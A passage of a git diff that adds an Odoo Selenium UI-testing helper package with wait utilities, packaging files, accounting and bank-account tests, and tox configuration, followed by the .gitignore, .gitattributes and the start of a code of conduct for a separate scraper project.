+    def _get_autocomplete_search_items(self):
+        menu_items_xpath = ('//div[contains(@class, "oe-autocomplete")]/'
+                            'ul/li/span/em')
+        menu_items = self.webdriver.find_elements_by_xpath(menu_items_xpath)
+        return menu_items
+
+    def search_for(self, search_string, type=None):
+        xpath = ('//div[@class="oe_searchview_facets"]/'
+                 'div[@class="oe_searchview_input"]')
+        input_fields = self.webdriver.find_elements_by_xpath(xpath)
+        input_field = next(
+            field for field in input_fields if field.is_displayed())
+        if type:
+
+            input_field.send_keys(search_string)
+            menu_items = self._get_autocomplete_search_items()
+            try:
+                elem = next(e for e in menu_items if e.text == type)
+                elem.click()
+                return
+            except StopIteration:
+                assert False, "Search type not found"
+            input_field.send_keys(Keys.TAB)
+        else:
+            with self.wait_for_ajax_load():
+                input_field.click()
+                input_field.send_keys(search_string)
+                input_field.send_keys(Keys.ENTER)
+
+    def click_list_column(self, data_field, value, click_column=None):
+        """Click the first item with the specified value in the specified
+        column in a list. Cycle through multiple pages if they're available and
+        it is necessary.
+        If click_column is not specified, find the cell under data_field with
+        contains value and click it.
+        If click_column is specified, find the cell under data_field which
+        contains value, then click click_column in the same row."""
+
+        rows = []
+        while not rows:
+            rows = self.get_rows_from_list(data_field, value)
+
+            next_button_xpath = ('//div[@class="oe_list_pager"]/'
+                                 'ul[@class="oe_pager_group"]/li/'
+                                 'a[@data-pager-action="next"]')
+            next_buttons = self.webdriver.find_elements_by_xpath(
+                next_button_xpath)
+
+            if rows:
+                break
+            elif not next_buttons:
+                raise RuntimeError('Could not find row with {}'.format(value))
+            else:
+                pager_status_xpath = '//span[@class="oe_list_pager_state"]'
+                pager_status = self.webdriver.find_element_by_xpath(
+                    pager_status_xpath)
+
+                match = re.match(PAGER_STATUS_REX, pager_status.text)
+
+                if match:
+                    status_match = match.groupdict()
+                    if status_match['last'] == status_match['total']:
+                        raise RuntimeError('Could not find row with {}'.format(
+                            value))
+                next_buttons[0].click()
+
+        xpath = ('//table[@class="oe_list_content"]/tbody/tr/'
+                 'td[@data-field="{}" and text()="{}"]'.format(
+                     data_field, value))
+
+        attempts = 2
+        elem = None
+        counter = 0
+        while not elem and counter < attempts:
+            elems = self.webdriver.find_elements_by_xpath(xpath)
+            try:
+                elem = next(e for e in elems if e.is_displayed())
+            except StopIteration:
+                counter += 1
+                time.sleep(10)
+        if not elem:
+            raise RuntimeError('Could not find row with {}'.format(value))
+
+        if click_column:
+            elem = elem.find_element(by='xpath',
+                                     value='following-sibling::td['
+                                     '@data-field="{}"]'.format(click_column))
+
+        with self.wait_for_ajax_load():
+            elem.click()
+
+    def install_module(self, module_name, column='shortdesc', timeout=60,
+                       upgrade=False):
+        """ Install the specified module. You need to be on the Settings page.
+        This will NOT go through the setup wizard.
+
+        @param module_name: the name of the module
+        @param column: in which column to find the module_name. The default
+                       (shortdesc) is the human-readable description.
+        @param timeout: max. seconds to wait for module installation
+        @param upgrade: whether to click the upgrade button if the module is
+                        already installed"""
+
+        with self.wait_for_ajax_load():
+            self.switch_to_view('list')
+
+        self.clear_search_facets()
+        self.search_for(module_name)
+        row_data = self.get_rows_from_list(column, module_name)
+        if row_data[0]['Status'] == 'Installed' and upgrade is False:
+            return
+
+        self.click_list_column(column, module_name)
+        btn = self.wait_for_visible_element_by_xpath(
+            '//button[@class="oe_button oe_form_button oe_highlight"]')
+        with self.wait_for_ajax_load(timeout):
+            btn.click()
+
+    def switch_to_view(self, view_name):
+        """Switch to list, form or kanban view
+
+        @param view_name: should be list, form or kanban"""
+
+        xpath = ('//ul[@class="oe_view_manager_switch oe_button_group '
+                 'oe_right"]/li/a[@data-view-type="{}"]'.format(view_name))
+        button = self.wait_for_visible_element_by_xpath(xpath)
+        button.click()
+
+    def _get_bt_testing_element(self, field_name, model_name=None,
+                                in_dialog=False, last=False):
+        if in_dialog:
+            xpath = '//div[@class="modal-content openerp"]'
+        else:
+            xpath = ''
+
+        if model_name:
+            xpath = ('{}//*[@data-bt-testing-name="{}" and '
+                     '@data-bt-testing-model_name="{}"]'.format(xpath,
+                                                                field_name,
+                                                                model_name))
+        else:
+            xpath = '{}//*[@data-bt-testing-name="{}"]'.format(xpath,
+                                                               field_name)
+
+        if last:
+            xpath = '({})[last()]'.format(xpath)
+
+        return self.wait_for_visible_element_by_xpath(xpath)
+
+    def write_in_element(self, field_name, model_name, text, clear=True,
+                         in_dialog=False):
+        """Writes text to an element
+        @param field_name: data-bt-testing-name on the element
+        @param model_name: the data-bt-testing-model_name on the element
+        @param text: text to enter into the field
+        @clear: whether to clear the field first
+        @param clear: whether to clear the field first
+        """
+        elem = self._get_bt_testing_element(field_name, model_name,
+                                            in_dialog=in_dialog)
+
+        if clear:
+            elem.clear()
+
+        elem.send_keys(text)
+
+    def toggle_checkbox(self, field_name, model_name):
+        """Toggles a checkbox"""
+        elem = self._get_bt_testing_element(field_name, model_name)
+        elem.click()
+
+    def open_text_dropdown(self, field_name, model_name, in_dialog):
+        """Open a dropdown list on a text field"""
+
+        if in_dialog:
+            xpath = '//div[@class="modal-content openerp"]'
+        else:
+            xpath = ''
+
+        xpath += ('//input[@data-bt-testing-name="{}" and '
+                  '@data-bt-testing-model_name="{}"]/../'
+                  'span[@class="oe_m2o_drop_down_button"]'.format(field_name,
+                                                                  model_name))
+        elem = self.wait_for_visible_element_by_xpath(xpath)
+        elem.click()
+        time.sleep(0.5)
+
+    def get_edit_field_from_label_text(self, label_text):
+        """Get the editable field which belongs to a label.
+        CAUTION: some labels have more than one field, but only one of them
+        will be linked by ID."""
+
+        xpath = '//tr/td/label[normalize-space(text())="{}"]'.format(
+            label_text)
+        label = self.webdriver.find_element_by_xpath(xpath)
+        field_id = label.get_attribute('for')
+        field = self.webdriver.find_element_by_id(field_id)
+        return field
+
+    def get_value(self, field, model):
+        """Get the value of a field"""
+
+        field = self._get_bt_testing_element(field, model)
+        if field.get_attribute('type') == 'checkbox':
+            return field.is_selected()
+        elif field.tag_name == 'select':
+            field = ui.Select(field)
+            return field.first_selected_option.text
+        else:
+            return field.get_attribute('value')
+
+    def enter_data(self, field, model, data, clear=True, search_column=None,
+                   in_dialog=False):
+        """Enter data into a field. The type of field will be determined.
+
+        @param field: the data-bt-testing-name attribute for the field
+        @param model: the data-bt-testing-model_name attribute for the field
+        @param data: the data to enter
+        @param search_column: the column title to search in the Search form in
+                              case of an autocomplete text field
+        """
+        input_field = self._get_bt_testing_element(field, model,
+                                                   in_dialog=in_dialog)
+
+        if input_field.tag_name == 'select':
+            dropdown_xpath = ('//select[@data-bt-testing-name="{}" and '
+                              '@data-bt-testing-model_name="{}"]/'
+                              'option[normalize-space('
+                              'text())="{}"]'.format(field, model, data))
+            input_field = self.webdriver.find_element_by_xpath(dropdown_xpath)
+            input_field.click()
+        elif input_field.tag_name == 'input':
+            elem_class = input_field.get_attribute('class')
+            elem_type = input_field.get_attribute('type')
+            if (elem_type in ['text', 'password'] and
+                    elem_class in ['', 'oe_datepicker_master']):
+                self.write_in_element(field, model, data, clear, in_dialog)
+            elif (elem_type == 'text' and
+                    elem_class == 'ui-autocomplete-input'):
+                if isinstance(data, list):
+                    self.create_from_text_dropdown(field, model, in_dialog,
+                                                   data)
+                else:
+                    if data == '':
+                        field = self._get_bt_testing_element(field, model)
+                        field.clear()
+                    else:
+                        self.search_text_dropdown(field, model, search_column,
+                                                  data, in_dialog)
+            elif elem_type == 'checkbox':
+                if input_field.is_selected() != data:
+                    self.toggle_checkbox(field, model)
+            else:
+                raise NotImplementedError(
+                    "I don't know how to handle {}".format(field))
+        elif input_field.tag_name == 'textarea':
+            self.write_in_element(field, model, data, clear, in_dialog)
+
+    def wizard_screen(self, config_data, next_button="action_next",
+                      timeout=30):
+        """Enter the specified config data in the wizard screen.
+        config_data is a list of dicts. Each dict needs:
+            * field: the data-bt-testing-name attribute for the field
+            * model: the data-bt-testing-model_name attribute for the field
+            * value: the value to enter
+            * search_column: the column title to search in the Search form in
+                             case of an autocomplete text field
+        """
+        for config_item in config_data:
+            self.enter_data(config_item['field'], config_item['model'],
+                            config_item['value'],
+                            config_item.get('clear', True),
+                            config_item.get('search_column'), True)
+
+        button = self._get_bt_testing_element(next_button, last=True)
+        with self.wait_for_ajax_load(timeout):
+            button.click()
+
+    def _get_data_id_from_column_title(self, column_title, dialog=False):
+        """Get the data-id attribute based on a column title"""
+
+        if dialog:
+            xpath = '//div[@class="oe_popup_list"]'
+        else:
+            xpath = ''
+
+        xpath += ('//table[@class="oe_list_content"]/thead/tr'
+                  '[@class="oe_list_header_columns"]/th/div[normalize-space('
+                  'text())="{}"]/..'.format(column_title))
+
+        elem = self.webdriver.find_element_by_xpath(xpath)
+        return elem.get_attribute('data-id')
+
+    def _get_autocomplete_dropdown_items(self, field_name, model, in_dialog):
+        self.open_text_dropdown(field_name, model, in_dialog)
+        menu_items_xpath = ('//ul[contains(@class, "ui-autocomplete")]/'
+                            'li[contains(@class, "ui-menu-item")]/a')
+        menu_items = self.webdriver.find_elements_by_xpath(menu_items_xpath)
+
+        return menu_items
+
+    def search_text_dropdown(self, field_name, model, column_title, value,
+                             in_dialog):
+        """Search through a text dropdown. If the value is already in the
+        dropdown, click it. If not, go to the search form via the Search
+        More... item."""
+
+        menu_items = self._get_autocomplete_dropdown_items(field_name,
+                                                           model,
+                                                           in_dialog)
+        try:
+            elem = next(e for e in menu_items if e.text == value)
+            elem.click()
+            return
+        except StopIteration:
+            self._search_more(menu_items, column_title, value)
+
+    def create_from_text_dropdown(self, field_name, model, in_dialog,
+                                  config_data):
+        """Create a new item in an autocomplete text field via the Create and
+        Edit option"""
+        menu_items = self._get_autocomplete_dropdown_items(field_name,
+                                                           model,
+                                                           in_dialog)
+        elem = next(e for e in menu_items if e.text == 'Create and Edit...')
+        with self.wait_for_ajax_load():
+            elem.click()
+        self.wizard_screen(config_data,
+                           next_button="oe_form_button_save_and_close")
+
+    def _search_more(self, menu_items, column_title, value):
+        """Search for an element in an autocomplete text field via the Search
+        More option.
+
+        @param menu_items: a list of the menu items in the dropdown
+        @param column_title: the title of the column in which to search in the
+                             subsequent dialog
+        @param value: the value to search for
+        """
+        elem = next(e for e in menu_items if e.text == 'Search More...')
+        with self.wait_for_ajax_load():
+            elem.click()
+        search_field = self._get_data_id_from_column_title(column_title, True)
+        with self.wait_for_ajax_load():
+            self.click_list_column(search_field, value)
+
+    def wait_for_visible_element_by_xpath(self, xpath, timeout=10, attempts=2):
+        """Find an element by XPath and wait until it is visible. Will try up
+        to <attempts> times with a timeout of <timeout> seconds each time."""
+
+        tries = 0
+        elem = None
+
+        while tries < attempts and elem is None:
+            try:
+                condition = expected_conditions.visibility_of_element_located(
+                    (By.XPATH, xpath))
+                elem = ui.WebDriverWait(self.webdriver,
+                                        timeout).until(condition)
+            except TimeoutException:
+                tries += 1
+                if tries == attempts:
+                    raise
+
+        return elem
+
+    def wait_for_visible_element_by_css_selector(self, selector,
+                                                 timeout=10, attempts=2):
+        """Find an element by CSS selector and wait until it is visible. Will
+        try up to <attempts> times with a timeout of <timeout> seconds
+        each time."""
+
+        tries = 0
+        elem = None
+
+        while tries < attempts and elem is None:
+            try:
+                condition = expected_conditions.visibility_of_element_located(
+                    (By.CSS_SELECTOR, selector))
+                elem = ui.WebDriverWait(self.webdriver,
+                                        timeout).until(condition)
+            except TimeoutException:
+                tries += 1
+                if tries == attempts:
+                    raise
+
+        return elem
+
+    def click_translate(self, field_name, model):
+        """Click the translate button that goes with the specified field"""
+        elem = self._get_bt_testing_element(field_name, model)
+        translate_button = elem.find_element_by_xpath(
+            'following-sibling::img[contains(@class, "oe_field_translate")]')
+        with self.wait_for_ajax_load():
+            translate_button.click()
+
+    def go_to_tab(self, tab_name):
+        tab = WebDriverWait(self.webdriver, 10).until(
+            expected_conditions.presence_of_element_located((
+                By.XPATH,
+                "//a[@class='ui-tabs-anchor' and "
+                "@data-bt-testing-original-string='{}']".format(tab_name)
+            ))
+        )
+        tab.click()
+        time.sleep(1)
+
+    def page(self, name):
+        """ click on the given page if found """
+        self.go_to_module(name)
+
+        return OdooPage(self)
+
+    def view(self, model, type='form'):
+        """ """
+        obj = FormView
+        if type == 'tree':
+            obj = TreeView
+        elif type == 'kanban':
+            obj = KanbanView
+
+        return obj(self, model)
+
+
+class OdooPage():
+    def __init__(self, ui):
+        self.ui = ui
+
+    def menu(self, name):
+        self.ui.go_to_view(name)
+
+
+class View(object):
+    def __init__(self, ui, model, *args, **kwargs):
+        self.ui = ui
+        self.model = model
+
+    def get_field(self, field_name, model=None):
+
+        return WebDriverWait(self.ui.webdriver, 10).until(
+            expected_conditions.presence_of_element_located((
+                By.XPATH,
+                "//*["
+                "@data-bt-testing-model_name='{}' and "
+                "@data-bt-testing-name='{}']".format(
+                    model if model else self.model, field_name)
+            ))
+        )
+
+    def fill(self, **kwargs):
+        """ Fill the current view with kwargs """
+
+        # sometimes adding a relational field open a new wizard instead of
+        # the editable tree line.
+        # In this case we need to save the wizard.
+        wizard_to_save = kwargs.pop('wizard_to_save', False)
+
+        for key, value in kwargs.iteritems():
+
+            field = self.get_field(key)
+            relational_field = field.get_attribute(
+                'data-bt-testing-submodel_name')
+            datetime_field = 'oe_datepicker_master' in \
+                field.get_attribute('class')
+
+            if relational_field:
+                add_link = self.ui.webdriver.find_element_by_css_selector(
+                    '.oe_form_field_one2many_list_row_add a')
+                for element in value:
+                    # click "Add an item link"
+                    with self.ui.wait_for_ajax_load():
+                        add_link.click()
+
+                    for k, v in element.iteritems():
+                        sfield = self.get_field(k, model=relational_field)
+                        with self.ui.wait_for_ajax_load():
+                            sfield.clear()
+                            sfield.send_keys(v)
+                            if 'ui-autocomplete-input' in \
+                               sfield.get_attribute('class'):
+                                sfield.send_keys(Keys.DOWN)
+                                sfield.send_keys(Keys.DOWN)
+                                sfield.send_keys(Keys.TAB)
+                if wizard_to_save:
+                    self.click_button('oe_form_button_save_and_close')
+            elif datetime_field:
+                field.clear()
+                field.send_keys(value)
+                field.send_keys(Keys.ENTER)
+            else:
+                if field.tag_name == 'select':
+                    self.ui.enter_data(key, self.model, value)
+                else:
+                    field.clear()
+                    field.send_keys(value)
+                if 'ui-autocomplete-input' in field.get_attribute('class'):
+                    field.send_keys(Keys.DOWN)
+                    field.send_keys(Keys.DOWN)
+                    field.send_keys(Keys.TAB)
+
+    def click_button(self, name):
+        self.ui.click_ajax_load_button(name)
+
+    def create(self, **kwargs):
+        """
+        click create, fill form with kwargs and click save
+        """
+        self.click_create()
+        view = FormView(self.ui, self.model)
+        view.fill(**kwargs)
+        view.save()
+
+
+class FormView(View):
+    def __init__(self, ui, model, *args, **kwargs):
+        super(FormView, self).__init__(ui, model, *args, **kwargs)
+
+    def save(self):
+        self.ui.click_save()
+
+
+class TreeView(View):
+    def __init__(self, ui, model, *args, **kwargs):
+        super(TreeView, self).__init__(ui, model, *args, **kwargs)
+
+    def click_create(self):
+        self.ui.click_create()
+
+
+class KanbanView(View):
+    def __init__(self, ui, model, *args, **kwargs):
+        super(KanbanView, self).__init__(ui, model, *args, **kwargs)
+
+    def click_create(self):
+        xpath = '//button[@data-bt-testing-button="oe_kanban_button_new"]'
+        button = self.ui.webdriver.find_elements_by_xpath(xpath)[0]
+        button.click()
diff --git a/odooselenium/odooselenium/wait.py b/odooselenium/odooselenium/wait.py
new file mode 100644
index 00000000..cf2f0d7c
--- /dev/null
+++ b/odooselenium/odooselenium/wait.py
@@ -0,0 +1,91 @@
+import time
+
+from selenium.webdriver.support.ui import WebDriverWait
+
+
+def loading_displayed(driver):
+    """Return True if jQuery is enabled and inactive in web driver."""
+    return driver.find_element_by_css_selector('.oe_loading').is_displayed()
+
+
+def loading_hidden(driver):
+    """Return True if jQuery is enabled and inactive in web driver."""
+    return not loading_displayed(driver)
+
+
+def jquery_inactive(driver):
+    """Return True if jQuery is enabled and inactive in web driver.
+
+    Use this method in jQuery-powered websites to make sure there is no pending
+    AJAX call.
+
+    .. code:: python
+
+       from selenium import webdriver
+       from selenium.webdriver.support.ui import WebDriverWait
+
+       driver = webdriver.Firefox()
+       WebDriverWait(driver, 10).until(jquery_inactive)
+
+    Tip from book "Mastering Selenium WebDriver" by Mark Collin.
+
+    """
+    return driver.execute_script(
+        "return (window.jQuery != null) && (jQuery.active === 0);"
+    )
+
+
+def wait_for(condition_function, timeout=10):
+    """Wait until condition_function returns True or raise timeout exception.
+
+    The ``condition_function`` must return a boolean.
+
+    """
+    start_time = time.time()
+    while time.time() < start_time + timeout:
+        if condition_function():
+            return True
+        else:
+            time.sleep(0.1)
+    raise Exception(
+        'Timeout waiting for {}'.format(condition_function.__name__)
+    )
+
+
+class wait_for_new_page_load(object):
+    """Wait for browser to load new HTML page.
+
+    Works for body change in HTML; doesn't work with AJAX.
+
+    """
+    def __init__(self, browser):
+        self.browser = browser
+
+    def __enter__(self):
+        """Remember the HTML page body."""
+        self.old_body = self.browser.find_element_by_tag_name('body')
+
+    def new_page_has_loaded(self):
+        """Return True if the new body was loaded."""
+        if(len(self.browser.find_elements_by_tag_name('body')) == 0):
+            return False
+        else:
+            new_body = self.browser.find_element_by_tag_name('body')
+            return new_body.id != self.old_body.id
+
+    def __exit__(self, *args):
+        """Wait for new body to be loaded."""
+        wait_for(self.new_page_has_loaded, 60)
+
+
+class wait_for_body_odoo_load(object):
+    """Wait for Odoo page loading."""
+    def __init__(self, browser):
+        self.browser = browser
+
+    def __enter__(self):
+        """Do nothing."""
+
+    def __exit__(self, *args):
+        """Wait for the page to be loaded after doing the web action..."""
+        WebDriverWait(self.browser, 10).until(jquery_inactive)
diff --git a/odooselenium/setup.cfg b/odooselenium/setup.cfg
new file mode 100644
index 00000000..07915bfb
--- /dev/null
+++ b/odooselenium/setup.cfg
@@ -0,0 +1,5 @@
+[flake8]
+exclude = lib, var, .tox
+
+[tool:pytest]
+python_files = **.py
diff --git a/odooselenium/setup.py b/odooselenium/setup.py
new file mode 100644
index 00000000..63f4ac4b
--- /dev/null
+++ b/odooselenium/setup.py
@@ -0,0 +1,68 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+"""Python packaging."""
+import os
+import sys
+
+from setuptools import setup
+
+
+#: Absolute path to directory containing setup.py file.
+here = os.path.abspath(os.path.dirname(__file__))
+#: Boolean, ``True`` if environment is running Python version 2.
+IS_PYTHON2 = sys.version_info[0] == 2
+
+
+# Data for use in setup.
+NAME = 'odooselenium'
+DESCRIPTION = 'Tools to interact with Odoo using Selenium'
+README = open(os.path.join(here, 'README.rst')).read()
+VERSION = open(os.path.join(here, 'VERSION')).read().strip()
+AUTHOR = u'Meta IT'
+EMAIL = 'technique@meta-it.fr'
+LICENSE = 'GPLv2'
+URL = 'https://pypi.python.org/pypi/{name}'.format(name=NAME)
+CLASSIFIERS = [
+    'Development Status :: 1 - Planning',
+    'License :: OSI Approved :: GNU General Public License v2 (GPLv2)',
+    'Intended Audience :: Developers',
+    'Programming Language :: Python :: 2.7',
+]
+KEYWORDS = [
+    'odoo',
+    'selenium==2.53.0',
+]
+PACKAGES = ['odooselenium']
+REQUIREMENTS = [
+    'selenium',
+    'setuptools',
+]
+ENTRY_POINTS = {}
+TEST_REQUIREMENTS = ['tox']
+CMDCLASS = {}
+EXTRA_REQUIREMENTS = {
+    'test': TEST_REQUIREMENTS,
+}
+
+
+if __name__ == '__main__':  # Do not run setup() when we import this module.
+    setup(
+        name=NAME,
+        version=VERSION,
+        description=DESCRIPTION,
+        long_description=README,
+        classifiers=CLASSIFIERS,
+        keywords=' '.join(KEYWORDS),
+        author=AUTHOR,
+        author_email=EMAIL,
+        url=URL,
+        license=LICENSE,
+        packages=PACKAGES,
+        include_package_data=True,
+        zip_safe=False,
+        install_requires=REQUIREMENTS,
+        entry_points=ENTRY_POINTS,
+        tests_require=TEST_REQUIREMENTS,
+        cmdclass=CMDCLASS,
+        extras_require=EXTRA_REQUIREMENTS,
+    )
diff --git a/odooselenium/tests/accounting.py b/odooselenium/tests/accounting.py
new file mode 100644
index 00000000..7f6a404f
--- /dev/null
+++ b/odooselenium/tests/accounting.py
@@ -0,0 +1,17 @@
+import json
+import os
+
+from odooselenium import TestCase
+
+
+class TestAccounting(TestCase):
+    def test_setup_module(self):
+        self.ui.go_to_module('Settings')
+        self.ui.install_module('Accounting and Finance', timeout=300,
+                               upgrade=True)
+        config_file = os.path.join(os.path.dirname(os.path.abspath(__file__)),
+                                   'accounting_config.json')
+        with open(config_file, 'r') as fp:
+            wizard_data = json.load(fp)
+        self.ui.wizard_screen(wizard_data[0], timeout=300)
+        self.ui.wizard_screen(wizard_data[1], timeout=300)
diff --git a/odooselenium/tests/accounting_config.json b/odooselenium/tests/accounting_config.json
new file mode 100644
index 00000000..c471f372
--- /dev/null
+++ b/odooselenium/tests/accounting_config.json
@@ -0,0 +1,16 @@
+[
+    [
+        {"field": "charts", "model": "account.installer", "value": "Belgium - Accounting"},
+        {"field": "company_id", "model": "account.installer", "value": "Your Company"},
+        {"field": "date_start", "model": "account.installer", "value": "01/01/2016"},
+        {"field": "period", "model": "account.installer", "value": "Monthly"}
+    ],
+    [
+        {"field": "chart_template_id", "model": "wizard.multi.charts.accounts", "value": "Belgian PCMN"},
+        {"field": "company_id", "model": "wizard.multi.charts.accounts", "value": "Your Company"},
+        {"field": "currency_id", "model": "wizard.multi.charts.accounts", "value": "LAK", "search_column": "Currency"},
+        {"field": "sale_tax", "model": "wizard.multi.charts.accounts", "value": "TVA services EU", "search_column": "Tax Name"},
+        {"field": "purchase_tax", "model": "wizard.multi.charts.accounts", "value": "VAT-IN-V82-21-S", "search_column": "Internal Name"},
+        {"field": "code_digits", "model": "wizard.multi.charts.accounts", "value": "6"}
+    ]
+]
diff --git a/odooselenium/tests/packaging.py b/odooselenium/tests/packaging.py
new file mode 100644
index 00000000..cdd125d9
--- /dev/null
+++ b/odooselenium/tests/packaging.py
@@ -0,0 +1,7 @@
+"""Tests around project's packaging."""
+import odooselenium
+
+
+def test_version():
+    """``odooselenium.__version__`` shows software version."""
+    assert odooselenium.__version__
diff --git a/odooselenium/tests/res_partner_bank.py b/odooselenium/tests/res_partner_bank.py
new file mode 100644
index 00000000..2e9a2f14
--- /dev/null
+++ b/odooselenium/tests/res_partner_bank.py
@@ -0,0 +1,38 @@
+"""Test suite around model 'res.partner.bank' form addon 'base'."""
+from selenium.webdriver.common.by import By
+import odooselenium
+
+
+class ResPartnerBankTestCase(odooselenium.TestCase):
+    def test_create(self):
+        """Create then delete sample Bank Account."""
+        self.ui.go_to_module('Accounting')
+        self.ui.go_to_view('Accounts/Setup your Bank Accounts')
+
+        # Create a bank account.
+        create_button = self.webdriver.find_element(
+            By.XPATH,
+            "//button["
+            "@data-bt-testing-model_name='res.partner.bank' and "
+            "@data-bt-testing-name='oe_list_add']")
+        with self.ui.wait_for_ajax_load():
+            create_button.click()
+        # Fill in form.
+        self.ui.enter_data('state', 'res.partner.bank', 'Normal Bank Account')
+        self.ui.enter_data('acc_number', 'res.partner.bank', '200')
+        self.ui.enter_data('bank_name', 'res.partner.bank', 'TestBank')
+
+        save_button = self.webdriver.find_element(
+            By.XPATH,
+            "//button["
+            "@data-bt-testing-model_name='res.partner.bank' and "
+            "@data-bt-testing-name='oe_form_button_save']"
+        )
+        with self.ui.wait_for_ajax_load():
+            save_button.click()
+
+        # Delete customer.
+        with self.ui.wait_for_ajax_load():
+            self.ui.click_more_item('Delete')
+            alert = self.webdriver.switch_to_alert()
+            alert.accept()
diff --git a/odooselenium/tox.ini b/odooselenium/tox.ini
new file mode 100644
index 00000000..8fba05c9
--- /dev/null
+++ b/odooselenium/tox.ini
@@ -0,0 +1,40 @@
+[tox]
+envlist = flake8, py27, readme
+
+[testenv]
+deps =
+    coverage
+    pytest
+    pytest-cov
+    pytest-xdist
+commands =
+    pip install -e .
+    py.test --verbose --capture=no --cov=odooselenium --doctest-modules {posargs:odooselenium tests}
+    coverage erase
+    pip freeze
+passenv =
+    DISPLAY TERM TERMINFO
+
+[testenv:flake8]
+deps =
+    flake8
+commands =
+    flake8
+
+[testenv:readme]
+deps =
+    docutils
+    pygments
+commands =
+    mkdir -p var/docs
+    rst2html.py --exit-status=2 README.rst var/docs/README.html
+    rst2html.py --exit-status=2 CONTRIBUTING.rst var/docs/CONTRIBUTING.html
+whitelist_externals =
+    mkdir
+
+[testenv:release]
+deps =
+    wheel
+    zest.releaser
+commands =
+    fullrelease
diff --git a/pyscrapper/.gitattributes b/pyscrapper/.gitattributes
new file mode 100644
index 00000000..412eeda7
--- /dev/null
+++ b/pyscrapper/.gitattributes
@@ -0,0 +1,22 @@
+# Auto detect text files and perform LF normalization
+* text=auto
+
+# Custom for Visual Studio
+*.cs     diff=csharp
+*.sln    merge=union
+*.csproj merge=union
+*.vbproj merge=union
+*.fsproj merge=union
+*.dbproj merge=union
+
+# Standard to msysgit
+*.doc	 diff=astextplain
+*.DOC	 diff=astextplain
+*.docx diff=astextplain
+*.DOCX diff=astextplain
+*.dot  diff=astextplain
+*.DOT  diff=astextplain
+*.pdf  diff=astextplain
+*.PDF	 diff=astextplain
+*.rtf	 diff=astextplain
+*.RTF	 diff=astextplain
diff --git a/pyscrapper/.gitignore b/pyscrapper/.gitignore
new file mode 100644
index 00000000..5ca1fa40
--- /dev/null
+++ b/pyscrapper/.gitignore
@@ -0,0 +1,219 @@
+#################
+## Eclipse
+#################
+
+*.pydevproject
+.project
+.metadata
+bin/
+tmp/
+*.tmp
+*.bak
+*.swp
+*~.nib
+local.properties
+.classpath
+.settings/
+.loadpath
+
+# External tool builders
+.externalToolBuilders/
+
+# Locally stored "Eclipse launch configurations"
+*.launch
+
+# CDT-specific
+.cproject
+
+# PDT-specific
+.buildpath
+
+
+#################
+## Visual Studio
+#################
+
+## Ignore Visual Studio temporary files, build results, and
+## files generated by popular Visual Studio add-ons.
+
+# User-specific files
+*.suo
+*.user
+*.sln.docstates
+
+# Build results
+
+[Dd]ebug/
+[Rr]elease/
+x64/
+build/
+[Bb]in/
+[Oo]bj/
+
+# MSTest test Results
+[Tt]est[Rr]esult*/
+[Bb]uild[Ll]og.*
+
+*_i.c
+*_p.c
+*.ilk
+*.meta
+*.obj
+*.pch
+*.pdb
+*.pgc
+*.pgd
+*.rsp
+*.sbr
+*.tlb
+*.tli
+*.tlh
+*.tmp
+*.tmp_proj
+*.log
+*.vspscc
+*.vssscc
+.builds
+*.pidb
+*.log
+*.scc
+
+# Visual C++ cache files
+ipch/
+*.aps
+*.ncb
+*.opensdf
+*.sdf
+*.cachefile
+
+# Visual Studio profiler
+*.psess
+*.vsp
+*.vspx
+
+# Guidance Automation Toolkit
+*.gpState
+
+# ReSharper is a .NET coding add-in
+_ReSharper*/
+*.[Rr]e[Ss]harper
+
+# TeamCity is a build add-in
+_TeamCity*
+
+# DotCover is a Code Coverage Tool
+*.dotCover
+
+# NCrunch
+*.ncrunch*
+.*crunch*.local.xml
+
+# Installshield output folder
+[Ee]xpress/
+
+# DocProject is a documentation generator add-in
+DocProject/buildhelp/
+DocProject/Help/*.HxT
+DocProject/Help/*.HxC
+DocProject/Help/*.hhc
+DocProject/Help/*.hhk
+DocProject/Help/*.hhp
+DocProject/Help/Html2
+DocProject/Help/html
+
+# Click-Once directory
+publish/
+
+# Publish Web Output
+*.Publish.xml
+*.pubxml
+
+# NuGet Packages Directory
+## TODO: If you have NuGet Package Restore enabled, uncomment the next line
+#packages/
+
+# Windows Azure Build Output
+csx
+*.build.csdef
+
+# Windows Store app package directory
+AppPackages/
+
+# Others
+sql/
+*.Cache
+ClientBin/
+[Ss]tyle[Cc]op.*
+~$*
+*~
+*.dbmdl
+*.[Pp]ublish.xml
+*.pfx
+*.publishsettings
+
+# RIA/Silverlight projects
+Generated_Code/
+
+# Backup & report files from converting an old project file to a newer
+# Visual Studio version. Backup files are not needed, because we have git ;-)
+_UpgradeReport_Files/
+Backup*/
+UpgradeLog*.XML
+UpgradeLog*.htm
+
+# SQL Server files
+App_Data/*.mdf
+App_Data/*.ldf
+
+#############
+## Windows detritus
+#############
+
+# Windows image file caches
+Thumbs.db
+ehthumbs.db
+
+# Folder config file
+Desktop.ini
+
+# Recycle Bin used on file shares
+$RECYCLE.BIN/
+
+# Mac crap
+.DS_Store
+
+
+#############
+## Python
+#############
+
+*.py[co]
+
+# Packages
+*.egg
+*.egg-info
+dist/
+build/
+eggs/
+parts/
+var/
+sdist/
+develop-eggs/
+.installed.cfg
+.idea/
+
+# Installer logs
+pip-log.txt
+
+# Unit test / coverage reports
+.coverage
+.tox
+
+#Translations
+*.mo
+
+#Mr Developer
+.mr.developer.cfg
+selenium_crawler_replica/
+zomato_top_restaurants_replica/
+/selenium_crawler/out/tech_words.txt
diff --git a/pyscrapper/CODE_OF_CONDUCT.md b/pyscrapper/CODE_OF_CONDUCT.md
new file mode 100644
index 00000000..85574608
--- /dev/null
+++ b/pyscrapper/CODE_OF_CONDUCT.md
@@ -0,0 +1,74 @@
+# Contributor Covenant Code of Conduct
+
+## Our Pledge
+
+In the interest of fostering an open and welcoming environment, we as
+contributors and maintainers pledge to making participation in our project and
+our community a harassment-free experience for everyone, regardless of age, body
+size, disability, ethnicity, gender identity and expression, level of experience,
+nationality, personal appearance, race, religion, or sexual identity and
+orientation.
+
+## Our Standards
+
+Examples of behavior that contributes to creating a positive environment
+include:
+
+* Using welcoming and inclusive language
+* Being respectful of differing viewpoints and experiences
+* Gracefully accepting constructive criticism
+* Focusing on what is best for the community
+* Showing empathy towards other community members
+
+Examples of unacceptable behavior by participants include:
+
+* The use of sexualized language or imagery and unwelcome sexual attention or
+advances
+* Trolling, insulting/derogatory comments, and personal or political attacks
+* Public or private harassment
+* Publishing others' private information, such as a physical or electronic
+  address, without explicit permission
